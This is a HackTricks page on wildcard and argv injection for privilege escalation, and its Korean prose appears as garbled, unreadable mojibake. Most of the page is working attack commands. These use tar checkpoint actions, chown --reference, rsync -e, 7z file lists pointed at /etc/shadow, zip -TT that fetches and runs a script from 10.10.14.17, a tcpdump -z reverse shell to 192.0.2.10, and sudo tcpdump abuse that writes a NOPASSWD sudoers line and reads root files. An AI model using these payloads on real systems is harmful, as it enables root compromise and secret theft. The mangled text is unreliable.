Wildcards Spare Tricks
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Wildcard (aka glob) argument injection๋ ๊ถํ ์๋ ์คํฌ๋ฆฝํธ๊ฐ
tar,chown,rsync,zip,7z๋ฑ๊ณผ ๊ฐ์ Unix ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ธ์ฉ๋์ง ์์ ์์ผ๋์นด๋(*)์ ํจ๊ป ์คํํ ๋ ๋ฐ์ํฉ๋๋ค. ์์ด ์์ผ๋์นด๋๋ฅผ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๊ธฐ ์ ์ ํ์ฅํ๊ธฐ ๋๋ฌธ์, ์์ ๋๋ ํฐ๋ฆฌ์ ํ์ผ์ ์์ฑํ ์ ์๋ ๊ณต๊ฒฉ์๋ ํ์ผ๋ช ์ด-๋ก ์์ํ๋๋ก ์กฐ์ํด ๊ทธ๊ฒ๋ค์ด ๋ฐ์ดํฐ ๋์ ์ต์ ์ผ๋ก ํด์๋๊ฒ ํ ์ ์์ผ๋ฉฐ, ๊ฒฐ๊ณผ์ ์ผ๋ก ์์์ ํ๋๊ทธ๋ ์ฌ์ง์ด ๋ช ๋ น๊น์ง ๋ฐ์ํ ์ ์์ต๋๋ค. ์ด ํ์ด์ง๋ 2023-2025๋ ์ ์ํ ๊ฐ์ฅ ์ ์ฉํ primitives, ์ต์ ์ฐ๊ตฌ ๋ฐ ํ๋์ ํ์ง ๊ธฐ๋ฒ์ ๋ชจ์๋ก๋๋ค.
chown / chmod
๋น์ ์ --reference ํ๋๊ทธ๋ฅผ ์
์ฉํ์ฌ ์์ ํ์ผ์ ์์ ์/๊ทธ๋ฃน ๋๋ ๊ถํ ๋นํธ๋ฅผ ๋ณต์ฌํ ์ ์์ต๋๋ค:
# attacker-controlled directory
touch "--reference=/root/secret``file" # โ filename becomes an argument
๋์ค์ root๊ฐ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ ์คํํ ๋:
chown -R alice:alice *.php
chmod -R 644 *.php
--reference=/root/secret``file๊ฐ ์ฃผ์
๋์ด, ๋ชจ๋ ์ผ์นํ๋ ํ์ผ์ด /root/secret``file์ ์์ ๊ถ/๊ถํ์ ์์ํ๊ฒ ๋ฉ๋๋ค.
PoC & tool: wildpwn (๊ฒฐํฉ๋ ๊ณต๊ฒฉ).
์์ธํ ๋ด์ฉ์ DefenseCode์ ๊ณ ์ ๋
ผ๋ฌธ์ ์ฐธ์กฐํ์ธ์.
tar
GNU tar (Linux, *BSD, busybox-full)
checkpoint ๊ธฐ๋ฅ์ ์ ์ฉํด ์์์ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค:
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
๋ฃจํธ๊ฐ ์๋ฅผ ๋ค์ด tar -czf /root/backup.tgz *๋ฅผ ์คํํ๋ฉด, shell.sh๊ฐ root ๊ถํ์ผ๋ก ์คํ๋ฉ๋๋ค.
bsdtar / macOS 14+
์ต๊ทผ macOS์ ๊ธฐ๋ณธ tar(libarchive ๊ธฐ๋ฐ)๋ --checkpoint๋ฅผ ๊ตฌํํ์ง ์์ต๋๋ค, ํ์ง๋ง ์ธ๋ถ ์์ถ ํ๋ก๊ทธ๋จ์ ์ง์ ํ ์ ์๋ โuse-compress-program ํ๋๊ทธ๋ก ์ฌ์ ํ code-execution์ ๋ฌ์ฑํ ์ ์์ต๋๋ค.
# macOS example
touch "--use-compress-program=/bin/sh"
๊ถํ์ด ๋์ ์คํฌ๋ฆฝํธ๊ฐ tar -cf backup.tar *๋ฅผ ์คํํ๋ฉด /bin/sh๊ฐ ์์๋ฉ๋๋ค.
rsync
rsync๋ -e ๋๋ --rsync-path๋ก ์์ํ๋ ๋ช
๋ น์ค ํ๋๊ทธ๋ฅผ ํตํด remote shell์ด๋ remote binary๋ฅผ ์ฌ์ ์ํ ์ ์์ต๋๋ค:
# attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
๋์ค์ root๊ฐ rsync -az * backup:/srv/๋ก ๋๋ ํฐ๋ฆฌ๋ฅผ ์์นด์ด๋ธํ๋ฉด, ์ฃผ์
๋ ํ๋๊ทธ๊ฐ ์๊ฒฉ ์ธก์์ ๋น์ ์ ์
ธ์ ์คํ์ํจ๋ค.
PoC: wildpwn (rsync mode).
7-Zip / 7z / 7za
๊ถํ ์๋ ์คํฌ๋ฆฝํธ๊ฐ ๋ฐฉ์ด์ ์ผ๋ก ์์ผ๋์นด๋ ์์ --๋ฅผ ๋ถ์ฌ ์ต์
ํ์ฑ์ ๋ง๋๋ผ๋, 7-Zip ํฌ๋งท์ ํ์ผ ์ด๋ฆ ์์ @๋ฅผ ๋ถ์ฌ ํ์ผ ๋ชฉ๋ก ํ์ผ์ ์ง์ํ๋ค. ์ด๋ฅผ ์ฌ๋ณผ๋ฆญ ๋งํฌ์ ๊ฒฐํฉํ๋ฉด exfiltrate arbitrary files:
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
root๊ฐ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ ์คํํ๋ฉด:
7za a /backup/`date +%F`.7z -t7z -snl -- *
7-Zip will attempt to read root.txt (โ /etc/shadow) as a file list and will bail out, ๋ด์ฉ์ stderr๋ก ์ถ๋ ฅ.
zip
์ ํ๋ฆฌ์ผ์ด์
์ด ์ฌ์ฉ์ ์ ์ด์ ํ์ผ๋ช
์ zip์ ์ ๋ฌํ ๋(์์ผ๋์นด๋๋ก ์ ๋ฌํ๊ฑฐ๋ -- ์์ด ์ด๋ฆ์ ์ด๊ฑฐํ๋ ๊ฒฝ์ฐ) ๋ ๊ฐ์ง ๋งค์ฐ ์ค์ฉ์ ์ธ ๊ธฐ๋ฒ์ด ์กด์ฌํฉ๋๋ค.
- ํ
์คํธ ํ
์ ํตํ RCE:
-T์ โtest archiveโ๋ฅผ ํ์ฑํํ๋ฉฐ-TT <cmd>๋ ํ ์คํฐ๋ฅผ ์์์ ํ๋ก๊ทธ๋จ์ผ๋ก ๊ต์ฒดํฉ๋๋ค(๊ธด ํํ:--unzip-command <cmd>). ๋ง์ฝ-๋ก ์์ํ๋ ํ์ผ๋ช ์ ์ฃผ์ ํ ์ ์๋ค๋ฉด, ์งง์ ์ต์ ํ์ฑ์ด ์๋ํ๋๋ก ํ๋๊ทธ๋ฅผ ์๋ก ๋ค๋ฅธ ํ์ผ๋ช ์ผ๋ก ๋ถ๋ฆฌํ์ธ์:
# Attacker-controlled filenames (e.g., in an upload directory)
# 1) A file literally named: -T
# 2) A file named: -TT wget 10.10.14.17 -O s.sh; bash s.sh; echo x
# 3) Any benign file to include (e.g., data.pcap)
# When the privileged code runs: zip out.zip <files...>
# zip will execute: wget 10.10.14.17 -O s.sh; bash s.sh; echo x
์ฐธ๊ณ
'-T -TT <cmd>'๊ฐ์ ๋จ์ผ ํ์ผ๋ช ์ผ๋ก ์๋ํ์ง ๋ง์ธ์ โ ์งง์ ์ต์ ์ ๋ฌธ์๋ณ๋ก ํ์ฑ๋๋ฏ๋ก ์คํจํฉ๋๋ค. ์์์ฒ๋ผ ๋ณ๊ฐ์ ํ ํฐ์ ์ฌ์ฉํ์ธ์.- ์ฑ์ด ํ์ผ๋ช
์์ ์ฌ๋์๋ฅผ ์ ๊ฑฐํ๋ ๊ฒฝ์ฐ, bare host/IP์์ ๊ฐ์ ธ์(๊ธฐ๋ณธ ๊ฒฝ๋ก
/index.html)-O๋ก ๋ก์ปฌ์ ์ ์ฅํ ๋ค์ ์คํํ์ธ์. - ํ์ฑ์ ๋๋ฒ๊ทธํ๋ ค๋ฉด
-sc(show processed argv) ๋๋-h2(more help)๋ฅผ ์ฌ์ฉํ์ฌ ํ ํฐ์ด ์ด๋ป๊ฒ ์๋ชจ๋๋์ง ํ์ธํ์ธ์.
์์ (zip 3.0์์์ ๋ก์ปฌ ๋์):
zip test.zip -T '-TT wget 10.10.14.17/shell.sh' test.pcap # fails to parse
zip test.zip -T '-TT wget 10.10.14.17 -O s.sh; bash s.sh' test.pcap # runs wget + bash
- Data exfil/leak: ์น ๋ ์ด์ด๊ฐ
zip์ stdout/stderr๋ฅผ ์์ฝ(์์งํ ๋ํผ์์ ํํจ)ํ๋ฉด,--help๊ฐ์ ์ฃผ์ ๋ ํ๋๊ทธ๋ ์๋ชป๋ ์ต์ ์์ ๋ฐ์ํ ์คํจ๊ฐ HTTP ์๋ต์ ๋ํ๋ ์ปค๋งจ๋๋ผ์ธ ์ธ์ ์ ์ ํ์ธํ๊ณ ํ์ด๋ก๋ ์กฐ์ ์ ๋์์ด ๋ฉ๋๋ค.
์์ผ๋์นด๋ ์ธ์ ์ ์ ์ทจ์ฝํ ์ถ๊ฐ ๋ฐ์ด๋๋ฆฌ (2023-2025 ๋น ๋ฅธ ๋ชฉ๋ก)
๋ค์ ๋ช ๋ น๋ค์ ์ต์ CTF์ ์ค์ ํ๊ฒฝ์์ ์ ์ฉ๋ ์ฌ๋ก๊ฐ ์์ต๋๋ค. ํ์ด๋ก๋๋ ํญ์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๋๋ ํฐ๋ฆฌ ์์ ํ์ผ๋ช ์ผ๋ก ์์ฑ๋๋ฉฐ, ์ดํ ์์ผ๋์นด๋๋ก ์ฒ๋ฆฌ๋ฉ๋๋ค:
| ๋ฐ์ด๋๋ฆฌ | ์ ์ฉํ ํ๋๊ทธ | ํจ๊ณผ |
|---|---|---|
bsdtar | --newer-mtime=@<epoch> โ arbitrary @file | Read file contents |
flock | -c <cmd> | Execute command |
git | -c core.sshCommand=<cmd> | Command execution via git over SSH |
scp | -S <cmd> | Spawn arbitrary program instead of ssh |
์ด๋ฌํ ํ๋ฆฌ๋ฏธํฐ๋ธ๋ tar/rsync/zip ๊ฐ์ ๊ณ ์ ๋ณด๋ค๋ ๋ ํํ์ง๋ง ํ์ํ ๋ ํ์ธํ ๊ฐ์น๊ฐ ์์ต๋๋ค.
tcpdump rotation hooks (-G/-W/-z): ๋ํผ์์ argv ์ฃผ์ ์ ํตํ RCE
์ ํ๋ ์์ด๋ ๋ฒค๋ ๋ํผ๊ฐ ์ฌ์ฉ์ ์ ์ด ํ๋(์: โfile nameโ ํ๋ผ๋ฏธํฐ)๋ฅผ ์๊ฒฉํ ์ธ์ฉ/๊ฒ์ฆ ์์ด ์ด์ด๋ถ์ฌ tcpdump ๋ช
๋ น์ค์ ๊ตฌ์ฑํ๋ฉด, ์ถ๊ฐ tcpdump ํ๋๊ทธ๋ฅผ ๋ชฐ๋ ๋ฃ์ ์ ์์ต๋๋ค. -G(์๊ฐ ๊ธฐ๋ฐ ํ์ ), -W(ํ์ผ ์ ์ ํ), -z <cmd>(ํ์ ํ ๋ช
๋ น) ์กฐํฉ์ tcpdump๋ฅผ ์คํํ๋ ์ฌ์ฉ์(์ข
์ข
์ดํ๋ผ์ด์ธ์ค์์ root) ๊ถํ์ผ๋ก ์์ ๋ช
๋ น ์คํ์ ์ ๋ฐํฉ๋๋ค.
์ ์ ์กฐ๊ฑด:
tcpdump์ ์ ๋ฌ๋๋argv์ ์ํฅ์ ์ค ์ ์์ด์ผ ํฉ๋๋ค(์:/debug/tcpdump --filter=... --file-name=<HERE>๊ฐ์ ๋ํผ๋ฅผ ํตํด).- ๋ํผ๊ฐ ํ์ผ ์ด๋ฆ ํ๋์ ๊ณต๋ฐฑ์ด๋
-๋ก ์์ํ๋ ํ ํฐ์ ์ ๋ฆฌํ์ง ์์์ผ ํฉ๋๋ค.
ํด๋์ PoC (์ฐ๊ธฐ ๊ฐ๋ฅํ ๊ฒฝ๋ก์์ reverse shell ์คํฌ๋ฆฝํธ๋ฅผ ์คํ):
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
-G 1 -W 1๋ ์ฒซ ๋งค์นญ ํจํท ์ดํ ์ฆ์ ํ์ ์ ๊ฐ์ ํฉ๋๋ค.-z <cmd>๋ ํ์ ๋น(post-rotate) ๋ช ๋ น์ ํ ๋ฒ ์คํํฉ๋๋ค. ๋ง์ ๋น๋๊ฐ<cmd> <savefile>์ ์คํํฉ๋๋ค.<cmd>๊ฐ ์คํฌ๋ฆฝํธ/์ธํฐํ๋ฆฌํฐ์ธ ๊ฒฝ์ฐ, ์ธ์ ์ฒ๋ฆฌ ๋ฐฉ์์ด ํ์ด๋ก๋์ ์ผ์นํ๋์ง ํ์ธํ์ธ์.
No-removable-media variants:
- ํ์ผ์ ์ธ ์ ์๋ ๋ค๋ฅธ primitive(์: ์ถ๋ ฅ ๋ฆฌ๋ค์ด๋ ์
์ ํ์ฉํ๋ ๋ณ๋์ ๋ช
๋ น ๋ํผ)๊ฐ ์๋ค๋ฉด, ์คํฌ๋ฆฝํธ๋ฅผ ์๋ ค์ง ๊ฒฝ๋ก์ ๋๊ณ ํ๋ซํผ ์๋ฏธ๋ก ์ ๋ฐ๋ผ
-z /bin/sh /path/script.sh๋๋-z /path/script.sh๋ฅผ ํธ๋ฆฌ๊ฑฐํ์ธ์. - ์ผ๋ถ ๋ฒค๋ ๋ํผ๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ ์ ์๋ ์์น๋ก ํ์ ํฉ๋๋ค. ํ์ ๋๋ ๊ฒฝ๋ก(symlink/directory traversal)์ ์ํฅ์ ์ค ์ ์๋ค๋ฉด, ์ธ๋ถ ๋ฏธ๋์ด ์์ด๋
-z๋ฅผ ํตํด ์์ ํ ์ ์ด ๊ฐ๋ฅํ ์ฝํ ์ธ ๋ฅผ ์คํํ๋๋ก ์ ๋ํ ์ ์์ต๋๋ค.
sudoers: tcpdump with wildcards/additional args โ ์์์ ์ฐ๊ธฐ/์ฝ๊ธฐ ๋ฐ root ๊ถํ
๋งค์ฐ ํํ sudoers ์ํฐํจํด:
(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/<GUID-PATTERN> -F/var/cache/captures/filter.<GUID-PATTERN>
Issues
*glob ๋ฐ ๊ด๋(permissive) ํจํด์ ์ฒซ ๋ฒ์งธ-w์ธ์๋ง ์ ํํฉ๋๋ค.tcpdump๋ ์ฌ๋ฌ ๊ฐ์-w์ต์ ์ ํ์ฉํฉ๋๋ค; ๋ง์ง๋ง ์ต์ ์ด ์ ์ฉ๋ฉ๋๋ค.- ํด๋น ๊ท์น์ ๋ค๋ฅธ ์ต์
์ ๊ณ ์ ํ์ง ์์ผ๋ฏ๋ก
-Z,-r,-V๋ฑ์ ํ์ฉ๋ฉ๋๋ค.
Primitives
- ๋ ๋ฒ์งธ
-w๋ก ๋์ ๊ฒฝ๋ก๋ฅผ ๋ฎ์ด์ฐ๊ธฐ(์ฒซ ๋ฒ์งธ๋ sudoers๋ง ๋ง์กฑ์ํด):
sudo tcpdump -c10 -w/var/cache/captures/a/ \
-w /dev/shm/out.pcap \
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
- Path traversal ์ฒซ ๋ฒ์งธ
-w๋ด๋ถ์์ ์ ํ๋ ํธ๋ฆฌ๋ฅผ ๋ฒ์ด๋๊ธฐ ์ํด:
sudo tcpdump -c10 \
-w/var/cache/captures/a/../../../../dev/shm/out \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
- ์ถ๋ ฅ ์์ ๊ถ์
-Z root๋ก ๊ฐ์ ์ง์ (์ด๋์๋ root ์์ ํ์ผ์ ์์ฑ):
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
-w /dev/shm/root-owned \
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
- ์์ ์ฝํ
์ธ ์ฐ๊ธฐ:
-r๋ฅผ ์ฌ์ฉํด ์ ์๋ PCAP์ ์ฌ์ํ์ฌ (์: sudoers ์ค์ ์ฝ์ ํ๊ธฐ ์ํด):
์ ํํ ASCII ํ์ด๋ก๋๋ฅผ ํฌํจํ๋ PCAP์ ์์ฑํ๊ณ root ๊ถํ์ผ๋ก ๊ธฐ๋ก
```bash # On attacker box: craft a UDP packet stream that carries the target line printf '\n\nfritz ALL=(ALL:ALL) NOPASSWD: ALL\n' > sudoers sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 & cat sudoers | nc -u 127.0.0.1 9001; kill %1On victim (sudoers rule allows tcpdump as above)
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root
-r sudoers.pcap -w /etc/sudoers.d/1111-aaaa
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
</details>
- Arbitrary file read/secret leak with `-V <file>` (savefiles ๋ชฉ๋ก์ ํด์ํจ). ์ค๋ฅ ์ง๋จ์ ์ข
์ข
๋ผ์ธ์ echoํ์ฌ, leaking content:
```bash
sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt \
-w /tmp/dummy \
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
์ฐธ๊ณ ์๋ฃ
- GTFOBins - tcpdump
- GTFOBins - zip
- 0xdf - HTB Dump: Zip arg injection to RCE + tcpdump sudo misconfig privesc
- FiberGateway GR241AG - Full Exploit Chain
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


